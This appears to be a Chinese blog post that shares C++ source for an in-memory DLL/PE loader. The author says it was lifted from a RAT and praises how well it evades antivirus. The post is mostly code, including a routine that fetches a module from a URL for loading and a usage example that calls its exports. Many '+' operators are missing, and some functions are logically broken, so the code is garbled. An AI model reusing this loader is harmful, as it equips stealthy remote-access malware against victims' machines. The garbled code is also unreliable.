某RAT模块拆分

2021-12-08 19:39:22 浏览数 (2)

如题,在某RAT上面拆下来的加载dll的功能,感谢免杀效果还不错,分享一下

memory.

代码语言:javascript复制
#include <windows.h>

typedef void* HCUSTOMMODULE;

typedef HCUSTOMMODULE(*MemLoadLibraryFn)(LPCSTR, void*);
typedef FARPROC(*MemGetProcAddressFn)(HANDLE, LPCSTR, void*);
typedef void(*MemFreeLibraryFn)(HANDLE, void*);

typedef BOOL(WINAPI* DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef int (WINAPI* ExeEntryProc)(void);


typedef struct {
  PIMAGE_NT_HEADERS headers;
  unsigned char* codeBase;
  HCUSTOMMODULE* modules;
  int numModules;
  BOOL initialized;
  BOOL isDLL;
  BOOL isRelocated;
  MemLoadLibraryFn loadLibrary;
  MemGetProcAddressFn getProcAddress;
  MemFreeLibraryFn freeLibrary;
  void* userdata;
  ExeEntryProc exeEntry;
  DWORD pageSize;
} MEMORYMODULE, * PMEMORYMODULE;

typedef struct {
  LPVOID address;
  LPVOID alignedAddress;
  DWORD size;
  DWORD characteristics;
  BOOL last;
} SECTIONFINALIZEDATA, * PSECTIONFINALIZEDATA;

class CWin32PE
{
protected:
  int CheckSize(size_t size, size_t expected);
  DWORD GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section);
  int CopySections(const unsigned char* data, size_t size, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module);
  int FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData);
  int FinalizeSections(PMEMORYMODULE module);
  int ExecuteTLS(PMEMORYMODULE module);
  int PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta);
  int BuildImportTable(PMEMORYMODULE module);
};

class CLoad : protected CWin32PE
{
private:
  HANDLE MemLoadLibraryEx(const void* data, size_t size, MemLoadLibraryFn loadLibrary,
    MemGetProcAddressFn getProcAddress, MemFreeLibraryFn freeLibrary, void* userdata);
public:
  HANDLE LoadFromMemory(const void*, size_t);
  HANDLE LoadFromResources(int IDD_RESOUCE);
  HANDLE LoadFromFile(LPCSTR filename);
  HANDLE DownloadURLToBuffer(LPCSTR filename);

  FARPROC GetProcAddressFromMemory(HANDLE hModule, LPCSTR ProcName);

  int CallEntryPointFromMemory(HANDLE hModule);
  void FreeLibraryFromMemory(HANDLE hModule);
};

memory.cpp

代码语言:javascript复制
#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <winnt.h>
#include <stddef.h>
#include <stdint.h>
#include <tchar.h>
#include <iostream>
#include <fstream>

#ifdef DEBUG_OUTPUT
#include <stdio.h>
#endif

#if _MSC_VER
// Disable warning about data -> function pointer conversion
#pragma warning(disable:4055)
#endif

#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))

#include "MemLoadLibrary.h"

#define GET_HEADER_DICTIONARY(module, idx)  &(module)->headers->OptionalHeader.DataDirectory[idx]
#define ALIGN_DOWN(address, alignment)      (LPVOID)((uintptr_t)(address) & ~((alignment) - 1))
#define ALIGN_VALUE_UP(value, alignment)    (((value)   (alignment) - 1) & ~((alignment) - 1))

BOOL
CWin32PE::CheckSize(size_t size, size_t expected) {
  if (size < expected) {
    SetLastError(ERROR_INVALID_DATA);
    return FALSE;
  }

  return TRUE;
}

BOOL CWin32PE::CopySections(const unsigned char* data, size_t size, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
  int i, section_size;
  unsigned char* codeBase = module->codeBase;
  unsigned char* dest;
  PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
  for (i = 0; i < module->headers->FileHeader.NumberOfSections; i  , section  ) {
    if (section->SizeOfRawData == 0) {
      // section doesn't contain data in the dll itself, but may define
      // uninitialized data
      section_size = old_headers->OptionalHeader.SectionAlignment;
      if (section_size > 0) {
        dest = (unsigned char*)VirtualAlloc(codeBase   section->VirtualAddress,
          section_size,
          MEM_COMMIT,
          PAGE_READWRITE);
        if (dest == NULL) {
          return FALSE;
        }

        // Always use position from file to support alignments smaller
        // than page size.
        dest = codeBase   section->VirtualAddress;
        section->Misc.PhysicalAddress = (DWORD)(uintptr_t)dest;
        memset(dest, 0, section_size);
      }

      // section is empty
      continue;
    }

    if (!CheckSize(size, section->PointerToRawData   section->SizeOfRawData)) {
      return FALSE;
    }

    // commit memory block and copy data from dll
    dest = (unsigned char*)VirtualAlloc(codeBase   section->VirtualAddress,
      section->SizeOfRawData,
      MEM_COMMIT,
      PAGE_READWRITE);
    if (dest == NULL) {
      return FALSE;
    }

    // Always use position from file to support alignments smaller
    // than page size.
    dest = codeBase   section->VirtualAddress;
    memcpy(dest, data   section->PointerToRawData, section->SizeOfRawData);
    section->Misc.PhysicalAddress = (DWORD)(uintptr_t)dest;
  }

  return TRUE;
}

// Protection flags for memory pages (Executable, Readable, Writeable)
static int ProtectionFlags[2][2][2] = {
  {
    // not executable
    { PAGE_NOACCESS, PAGE_WRITECOPY },
    { PAGE_READONLY, PAGE_READWRITE },
  }, {
    // executable
    { PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY },
    { PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE },
  },
};

DWORD
CWin32PE::GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) {
  DWORD size = section->SizeOfRawData;
  if (size == 0) {
    if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
      size = module->headers->OptionalHeader.SizeOfInitializedData;
    }
    else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
      size = module->headers->OptionalHeader.SizeOfUninitializedData;
    }
  }
  return size;
}

BOOL
CWin32PE::FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) {
  DWORD protect, oldProtect;
  BOOL executable;
  BOOL readable;
  BOOL writeable;

  if (sectionData->size == 0) {
    return TRUE;
  }

  if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
    // section is not needed any more and can safely be freed
    if (sectionData->address == sectionData->alignedAddress &&
      (sectionData->last ||
        module->headers->OptionalHeader.SectionAlignment == module->pageSize ||
        (sectionData->size % module->pageSize) == 0)
      ) {
      // Only allowed to decommit whole pages
      VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT);
    }
    return TRUE;
  }

  // determine protection flags based on characteristics
  executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
  readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
  writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
  protect = ProtectionFlags[executable][readable][writeable];
  if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
    protect |= PAGE_NOCACHE;
  }

  // change memory access flags
  if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) {
#ifdef DEBUG_OUTPUT
    OutputLastError("Error protecting memory page")
#endif
      return FALSE;
  }

  return TRUE;
}

BOOL
CWin32PE::FinalizeSections(PMEMORYMODULE module)
{
  int i;
  PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
#ifdef _WIN64
  uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000);
#else
#define imageOffset 0
#endif
  SECTIONFINALIZEDATA sectionData;
  sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
  sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize);
  sectionData.size = GetRealSectionSize(module, section);
  sectionData.characteristics = section->Characteristics;
  sectionData.last = FALSE;
  section  ;

  // loop through all sections and change access flags
  for (i = 1; i < module->headers->FileHeader.NumberOfSections; i  , section  ) {
    LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
    LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize);
    DWORD sectionSize = GetRealSectionSize(module, section);
    // Combine access flags of all sections that share a page
    // TODO(fancycode): We currently share flags of a trailing large section
    //   with the page of a first small section. This should be optimized.
    if (sectionData.alignedAddress == alignedAddress || (uintptr_t)sectionData.address   sectionData.size > (uintptr_t) alignedAddress) {
      // Section shares page with previous
      if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) {
        sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE;
      }
      else {
        sectionData.characteristics |= section->Characteristics;
      }
      sectionData.size = (((uintptr_t)sectionAddress)   sectionSize) - (uintptr_t)sectionData.address;
      continue;
    }

    if (!FinalizeSection(module, &sectionData)) {
      return FALSE;
    }
    sectionData.address = sectionAddress;
    sectionData.alignedAddress = alignedAddress;
    sectionData.size = sectionSize;
    sectionData.characteristics = section->Characteristics;
  }
  sectionData.last = TRUE;
  if (!FinalizeSection(module, &sectionData)) {
    return FALSE;
  }
#ifndef _WIN64
#undef imageOffset
#endif
  return TRUE;
}

BOOL
CWin32PE::ExecuteTLS(PMEMORYMODULE module)
{
  unsigned char* codeBase = module->codeBase;
  PIMAGE_TLS_DIRECTORY tls;
  PIMAGE_TLS_CALLBACK* callback;

  PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS);
  if (directory->VirtualAddress == 0) {
    return TRUE;
  }

  tls = (PIMAGE_TLS_DIRECTORY)(codeBase   directory->VirtualAddress);
  callback = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks;
  if (callback) {
    while (*callback) {
      (*callback)((LPVOID)codeBase, DLL_PROCESS_ATTACH, NULL);
      callback  ;
    }
  }
  return TRUE;
}

BOOL
CWin32PE::PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
{
  unsigned char* codeBase = module->codeBase;
  PIMAGE_BASE_RELOCATION relocation;

  PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
  if (directory->Size == 0) {
    return (delta == 0);
  }

  relocation = (PIMAGE_BASE_RELOCATION)(codeBase   directory->VirtualAddress);
  for (; relocation->VirtualAddress > 0;) {
    DWORD i;
    unsigned char* dest = codeBase   relocation->VirtualAddress;
    unsigned short* relInfo = (unsigned short*)((unsigned char*)relocation   IMAGE_SIZEOF_BASE_RELOCATION);
    for (i = 0; i < ((relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2); i  , relInfo  ) {
      DWORD* patchAddrHL;
#ifdef _WIN64
      ULONGLONG* patchAddr64;
#endif
      int type, offset;

      // the upper 4 bits define the type of relocation
      type = *relInfo >> 12;
      // the lower 12 bits define the offset
      offset = *relInfo & 0xfff;

      switch (type)
      {
      case IMAGE_REL_BASED_ABSOLUTE:
        // skip relocation
        break;

      case IMAGE_REL_BASED_HIGHLOW:
        // change complete 32 bit address
        patchAddrHL = (DWORD*)(dest   offset);
        *patchAddrHL  = (DWORD)delta;
        break;

#ifdef _WIN64
      case IMAGE_REL_BASED_DIR64:
        patchAddr64 = (ULONGLONG*)(dest   offset);
        *patchAddr64  = (ULONGLONG)delta;
        break;
#endif

      default:
        //printf("Unknown relocation: %dn", type);
        break;
      }
    }

    // advance to next relocation block
    relocation = (PIMAGE_BASE_RELOCATION)(((char*)relocation)   relocation->SizeOfBlock);
  }
  return TRUE;
}

BOOL
CWin32PE::BuildImportTable(PMEMORYMODULE module)
{
  unsigned char* codeBase = module->codeBase;
  PIMAGE_IMPORT_DESCRIPTOR importDesc;
  BOOL result = TRUE;

  PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
  if (directory->Size == 0) {
    return TRUE;
  }

  importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase   directory->VirtualAddress);
  for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc  ) {
    uintptr_t* thunkRef;
    FARPROC* funcRef;
    HCUSTOMMODULE* tmp;
    HCUSTOMMODULE handle = module->loadLibrary((LPCSTR)(codeBase   importDesc->Name), module->userdata);
    if (handle == NULL) {
      SetLastError(ERROR_MOD_NOT_FOUND);
      result = FALSE;
      break;
    }

    tmp = (HCUSTOMMODULE*)realloc(module->modules, (module->numModules   1) * (sizeof(HCUSTOMMODULE)));
    if (tmp == NULL) {
      module->freeLibrary(handle, module->userdata);
      SetLastError(ERROR_OUTOFMEMORY);
      result = FALSE;
      break;
    }
    module->modules = tmp;

    module->modules[module->numModules  ] = handle;
    if (importDesc->OriginalFirstThunk) {
      thunkRef = (uintptr_t*)(codeBase   importDesc->OriginalFirstThunk);
      funcRef = (FARPROC*)(codeBase   importDesc->FirstThunk);
    }
    else {
      // no hint table
      thunkRef = (uintptr_t*)(codeBase   importDesc->FirstThunk);
      funcRef = (FARPROC*)(codeBase   importDesc->FirstThunk);
    }
    for (; *thunkRef; thunkRef  , funcRef  ) {
      if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
        *funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
      }
      else {
        PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase   (*thunkRef));
        *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata);
      }
      if (*funcRef == 0) {
        result = FALSE;
        break;
      }
    }

    if (!result) {
      module->freeLibrary(handle, module->userdata);
      SetLastError(ERROR_PROC_NOT_FOUND);
      break;
    }
  }

  return result;
}


HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR filename, void* userdata)
{
  HMODULE result;
  UNREFERENCED_PARAMETER(userdata);
  result = LoadLibraryA(filename);
  if (result == NULL) {
    return NULL;
  }

  return (HCUSTOMMODULE)result;
}

FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE module, LPCSTR name, void* userdata)
{
  UNREFERENCED_PARAMETER(userdata);
  return (FARPROC)GetProcAddress((HMODULE)module, name);
}

void MemoryDefaultFreeLibrary(HCUSTOMMODULE module, void* userdata)
{
  UNREFERENCED_PARAMETER(userdata);
  FreeLibrary((HMODULE)module);
}


HANDLE CLoad::MemLoadLibraryEx(const void* data, size_t size,
  MemLoadLibraryFn loadLibrary,
  MemGetProcAddressFn getProcAddress,
  MemFreeLibraryFn freeLibrary,
  void* userdata)
{
  PMEMORYMODULE result = NULL;
  PIMAGE_DOS_HEADER dos_header;
  PIMAGE_NT_HEADERS old_header;
  unsigned char* code, * headers;
  ptrdiff_t locationDelta;
  SYSTEM_INFO sysInfo;
  PIMAGE_SECTION_HEADER section;
  DWORD i;
  size_t optionalSectionSize;
  size_t lastSectionEnd = 0;
  size_t alignedImageSize;

  if (!CheckSize(size, sizeof(IMAGE_DOS_HEADER))) {
    return NULL;
  }
  dos_header = (PIMAGE_DOS_HEADER)data;
  if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
    SetLastError(ERROR_BAD_EXE_FORMAT);
    return NULL;
  }

  if (!CheckSize(size, dos_header->e_lfanew   sizeof(IMAGE_NT_HEADERS))) {
    return NULL;
  }
  old_header = (PIMAGE_NT_HEADERS) & ((const unsigned char*)(data))[dos_header->e_lfanew];
  if (old_header->Signature != IMAGE_NT_SIGNATURE) {
    SetLastError(ERROR_BAD_EXE_FORMAT);
    return NULL;
  }

#ifdef _WIN64
  if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
#else
  if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) {
#endif
    SetLastError(ERROR_BAD_EXE_FORMAT);
    return NULL;
  }

  if (old_header->OptionalHeader.SectionAlignment & 1) {
    // Only support section alignments that are a multiple of 2
    SetLastError(ERROR_BAD_EXE_FORMAT);
    return NULL;
  }

  section = IMAGE_FIRST_SECTION(old_header);
  optionalSectionSize = old_header->OptionalHeader.SectionAlignment;
  for (i = 0; i < old_header->FileHeader.NumberOfSections; i  , section  ) {
    size_t endOfSection;
    if (section->SizeOfRawData == 0) {
      // Section without data in the DLL
      endOfSection = section->VirtualAddress   optionalSectionSize;
    }
    else {
      endOfSection = section->VirtualAddress   section->SizeOfRawData;
    }

    if (endOfSection > lastSectionEnd) {
      lastSectionEnd = endOfSection;
    }
  }

  GetNativeSystemInfo(&sysInfo);
  alignedImageSize = ALIGN_VALUE_UP(old_header->OptionalHeader.SizeOfImage, sysInfo.dwPageSize);
  if (alignedImageSize != ALIGN_VALUE_UP(lastSectionEnd, sysInfo.dwPageSize)) {
    SetLastError(ERROR_BAD_EXE_FORMAT);
    return NULL;
  }

  // reserve memory for image of library
  // XXX: is it correct to commit the complete memory region at once?
  //      calling DllEntry raises an exception if we don't...
  code = (unsigned char*)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
    alignedImageSize,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);

  if (code == NULL) {
    // try to allocate memory at arbitrary position
    code = (unsigned char*)VirtualAlloc(NULL,
      alignedImageSize,
      MEM_RESERVE | MEM_COMMIT,
      PAGE_READWRITE);
    if (code == NULL) {
      SetLastError(ERROR_OUTOFMEMORY);
      return NULL;
    }
  }

  result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE));
  if (result == NULL) {
    VirtualFree(code, 0, MEM_RELEASE);
    SetLastError(ERROR_OUTOFMEMORY);
    return NULL;
  }

  result->codeBase = code;
  result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
  result->loadLibrary = loadLibrary;
  result->getProcAddress = getProcAddress;
  result->freeLibrary = freeLibrary;
  result->userdata = userdata;
  result->pageSize = sysInfo.dwPageSize;

  if (!CheckSize(size, old_header->OptionalHeader.SizeOfHeaders)) {
    goto error;
  }

  // commit memory for headers
  headers = (unsigned char*)VirtualAlloc(code,
    old_header->OptionalHeader.SizeOfHeaders,
    MEM_COMMIT,
    PAGE_READWRITE);

  // copy PE header to code
  memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);
  result->headers = (PIMAGE_NT_HEADERS) & ((const unsigned char*)(headers))[dos_header->e_lfanew];

  // update position
  result->headers->OptionalHeader.ImageBase = (uintptr_t)code;

  // copy sections from DLL file block to new memory location
  if (!CopySections((const unsigned char*)data, size, old_header, result)) {
    goto error;
  }

  // adjust base address of imported data
  locationDelta = (ptrdiff_t)(result->headers->OptionalHeader.ImageBase - old_header->OptionalHeader.ImageBase);
  if (locationDelta != 0) {
    result->isRelocated = PerformBaseRelocation(result, locationDelta);
  }
  else {
    result->isRelocated = TRUE;
  }

  // load required dlls and adjust function table of imports
  if (!BuildImportTable(result)) {
    goto error;
  }

  // mark memory pages depending on section headers and release
  // sections that are marked as "discardable"
  if (!FinalizeSections(result)) {
    goto error;
  }

  // TLS callbacks are executed BEFORE the main loading
  if (!ExecuteTLS(result)) {
    goto error;
  }

  // get entry point of loaded library
  if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) {
    if (result->isDLL) {
      DllEntryProc DllEntry = (DllEntryProc)(LPVOID)(code   result->headers->OptionalHeader.AddressOfEntryPoint);
      // notify library about attaching to process
      BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
      if (!successfull) {
        SetLastError(ERROR_DLL_INIT_FAILED);
        goto error;
      }
      result->initialized = TRUE;
    }
    else {
      result->exeEntry = (ExeEntryProc)(LPVOID)(code   result->headers->OptionalHeader.AddressOfEntryPoint);
    }
  }
  else {
    result->exeEntry = NULL;
  }

  return (HANDLE)result;

error:
  // cleanup
  FreeLibraryFromMemory(result);
  return NULL;
  }

HANDLE CLoad::LoadFromMemory(const void* data, size_t size)
{
  return MemLoadLibraryEx(data, size, MemoryDefaultLoadLibrary, MemoryDefaultGetProcAddress, MemoryDefaultFreeLibrary, NULL);
}

FARPROC CLoad::GetProcAddressFromMemory(HANDLE module, LPCSTR name)
{
  unsigned char* codeBase = ((PMEMORYMODULE)module)->codeBase;
  DWORD idx = 0;
  PIMAGE_EXPORT_DIRECTORY exports;
  PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
  if (directory->Size == 0) {
    // no export table found
    SetLastError(ERROR_PROC_NOT_FOUND);
    return NULL;
  }

  exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase   directory->VirtualAddress);
  if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) {
    // DLL doesn't export anything
    SetLastError(ERROR_PROC_NOT_FOUND);
    return NULL;
  }

  if (HIWORD(name) == 0) {
    // load function by ordinal value
    if (LOWORD(name) < exports->Base) {
      SetLastError(ERROR_PROC_NOT_FOUND);
      return NULL;
    }

    idx = LOWORD(name) - exports->Base;
  }
  else {
    // search function name in list of exported names
    DWORD i;
    DWORD* nameRef = (DWORD*)(codeBase   exports->AddressOfNames);
    WORD* ordinal = (WORD*)(codeBase   exports->AddressOfNameOrdinals);
    BOOL found = FALSE;
    for (i = 0; i < exports->NumberOfNames; i  , nameRef  , ordinal  ) {
      if (_stricmp(name, (const char*)(codeBase   (*nameRef))) == 0) {
        idx = *ordinal;
        found = TRUE;
        break;
      }
    }

    if (!found) {
      // exported symbol not found
      SetLastError(ERROR_PROC_NOT_FOUND);
      return NULL;
    }
  }

  if (idx > exports->NumberOfFunctions) {
    // name <-> ordinal number don't match
    SetLastError(ERROR_PROC_NOT_FOUND);
    return NULL;
  }

  // AddressOfFunctions contains the RVAs to the "real" functions
  return (FARPROC)(LPVOID)(codeBase   (*(DWORD*)(codeBase   exports->AddressOfFunctions   (idx * 4))));
}

void CLoad::FreeLibraryFromMemory(HANDLE mod)
{
  PMEMORYMODULE module = (PMEMORYMODULE)mod;

  if (module == NULL) {
    return;
  }
  if (module->initialized) {
    // notify library about detaching from process
    DllEntryProc DllEntry = (DllEntryProc)(LPVOID)(module->codeBase   module->headers->OptionalHeader.AddressOfEntryPoint);
    (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
  }

  if (module->modules != NULL) {
    // free previously opened libraries
    int i;
    for (i = 0; i < module->numModules; i  ) {
      if (module->modules[i] != NULL) {
        module->freeLibrary(module->modules[i], module->userdata);
      }
    }

    free(module->modules);
  }

  if (module->codeBase != NULL) {
    // release memory of library
    VirtualFree(module->codeBase, 0, MEM_RELEASE);
  }

  HeapFree(GetProcessHeap(), 0, module);
}

int CLoad::CallEntryPointFromMemory(HANDLE mod)
{
  PMEMORYMODULE module = (PMEMORYMODULE)mod;

  if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated) {
    return -1;
  }

  return module->exeEntry();
}

HANDLE CLoad::LoadFromFile(LPCSTR filename)
{
  HANDLE Module;
  std::streampos size;
  char* memblock;
  std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
  if (file.is_open())
  {
    size = file.tellg();
    memblock = new char[size];
    file.seekg(0, std::ios::beg);
    file.read(memblock, size);
    file.close();
    Module = LoadFromMemory(memblock, size);
    delete[] memblock;
    return Module;
  }
  else {
    return 0;
  }
}


HANDLE CLoad::DownloadURLToBuffer(LPCSTR lpszURL)
{
  HANDLE Module;
  std::streampos size;

  LPSTR lpResult = NULL;
  LPSTREAM lpStream;
  if (lpszURL && SUCCEEDED(URLOpenBlockingStreamA(NULL, lpszURL, &lpStream, 0, NULL))) {
    STATSTG statStream;
    if (SUCCEEDED(lpStream->Stat(&statStream, STATFLAG_NONAME))) {
      DWORD dwSize = statStream.cbSize.LowPart   1;
      lpResult = (LPSTR)malloc(dwSize);
      if (lpResult) {
        LARGE_INTEGER liPos;
        ZeroMemory(&liPos, sizeof(liPos));
        ZeroMemory(lpResult, dwSize);
        lpStream->Seek(liPos, STREAM_SEEK_SET, NULL);
        lpStream->Read(lpResult, dwSize - 1, NULL);
      }
    }
    lpStream->Release();
  }

  Module = LoadFromFile(lpResult);

  return Module;


}


HANDLE CLoad::LoadFromResources(int IDD_RESOUCE)
{
  HGLOBAL hResData;
  HRSRC   hResInfo;
  void* pvRes;
  DWORD dwSize;
  void* lpMemory;
  HMODULE hModule = GetModuleHandle(NULL);

  if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_RESOUCE), L"DLL")) != NULL) && ((hResData = LoadResource(hModule, hResInfo)) != NULL) && ((pvRes = LockResource(hResData)) != NULL))
  {
    dwSize = SizeofResource(hModule, hResInfo);
    lpMemory = (char*)malloc(dwSize);
    memset(lpMemory, 0, dwSize);
    memcpy(lpMemory, pvRes, dwSize);
    return lpMemory;
  }
}

模块调用:

代码语言:javascript复制
#include "MemLoadLibrary.h"
#include <Windows.h>
int main()
{
  CLoad lib;
  HANDLE hLibrary = 0;

  std::string dir = "dll.dll";
  hLibrary = lib.LoadFromFile(dir.c_str()); // loaded the dll from byte array.
  func fn = (func)lib.GetProcAddressFromMemory(hLibrary,"导出名" );
  fn("");
  lib.FreeLibraryFromMemory(hLibrary);
  std::cout << 'n' << "Press a key to continue...";
}

0 人点赞